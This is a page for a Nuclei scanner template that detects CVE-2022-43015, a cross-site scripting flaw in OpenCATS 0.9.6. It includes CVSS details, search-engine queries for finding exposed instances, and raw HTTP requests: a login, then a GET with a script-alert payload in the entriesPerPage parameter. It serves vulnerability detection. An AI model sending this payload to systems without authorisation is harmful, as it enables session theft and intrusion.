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OpenCATS 0.9.6 - Cross-Site Scripting

ID: CVE-2022-43015

Severity: medium

Author: arafatansari

Tags: cve,cve2022,xss,opencats,authenticated

Description

Section titled “Description”

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the entriesPerPage parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-43015


info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the entriesPerPage parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses this issue.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_entriesPerPage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43015
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43015
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.37623
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"OpenCATS"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve,cve2022,xss,opencats,authenticated


http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        username={{username}}&password={{password}}
      - |
        GET /ajax.php?f=getPipelineJobOrder&joborderID=2&page=0&entriesPerPage=15)"></a>%20<script>alert(document.domain)</script>&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'MySQL Query Failed'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-43015.yaml"

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